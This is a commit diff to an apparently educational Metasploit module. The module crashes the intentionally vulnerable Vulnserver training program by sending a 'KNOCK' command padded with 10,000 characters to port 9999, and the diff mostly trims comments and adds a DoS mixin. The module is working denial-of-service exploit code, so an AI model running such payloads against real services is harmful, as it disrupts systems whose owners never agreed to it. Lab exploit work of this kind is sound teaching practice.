Update Dos

Removed commented out stuff (DefaultOptions).
Added 'inlcude Msf::Auxiliary::Dos'

DOS.rb

@@ -1,12 +1,11 @@
 class MetasploitModule < Msf::Auxiliary	# This is a remote exploit module inheriting from the remote exploit class
-
-  Rank = NormalRanking	# Potential impact to the target ranking
+  Rank = NormalRanking	# Potential impact to the target
 
   include Msf::Exploit::Remote::Tcp	# Include remote tcp exploit module
+  include Msf::Auxiliary::Dos
 
   def initialize(info = {})	# i.e. constructor, setting the initial values
-
-    super(update_info(info, #calls parent class update_info function
+    super(update_info(info,
       'Name'           => 'Vulnserver Buffer Overflow-KNOCK command', # Name of the target
       'Description'    => %q{
          Vulnserver is intentially written vulnerable. This expoits uses a simple buffer overflow.
@@ -18,37 +17,29 @@ def initialize(info = {})	# i.e. constructor, setting the initial values
           [ 'URL', 'https://github.com/xinwenfu/Malware-Analysis/edit/main/MetasploitNewModule' ]
         ],
       'Privileged'     => false,
-      #'DefaultOptions' =>
-        #{ 
-          #'RPORT' => 9999
-      #  },
-      'Platform'       => 'Win',	# Supporting what platforms are supported, e.g., win, linux, osx, unix, bsd.
       'DisclosureDate' => 'Mar. 30, 2022'))	# When the vulnerability was disclosed in public
-
       register_options([
-	    Opt::RPORT(9999)
-	])
+      	Opt::RPORT(9999)
+      ])
   end
 
-  def run	# Actual exploit, since this is a Auxiliary, it is a run function, type run to execute
-
+  def run	# Actual exploit
         print_status("Connecting to target with IP #{datastore['RHOST']} and Port #{datastore['RPORT']}")
-
         connect #connect to target using values stored in datastore
-        outbound = "KNOCK /.:/" + "A"*10000 #create outbound message, in this case A can be anything as we just want to crash the server 
-        print_status("Sending Message in 6 seconds")
 
-	for x in 0..5 do
+        outbound = "KNOCK /.:/" + "A"*10000 #create outbound message, in this case A can be anything as we just want to crash the server 
+
+        print_status("Sending Exploit in 6 seconds")
+
+        for x in 0..5 do
             print_status("#{6 - x}")
             sleep(1) #sleep for 1 second 6 times so that we will wait 6 seconds and count down
         end
 
         sock.put(outbound)
-        print_status("Message Sent")
-
+        print_status("Exploit Sent")
     ensure #ensure that exploit disconnects
         disconnect
         print_status("Exiting Run Function")
   end
 end
-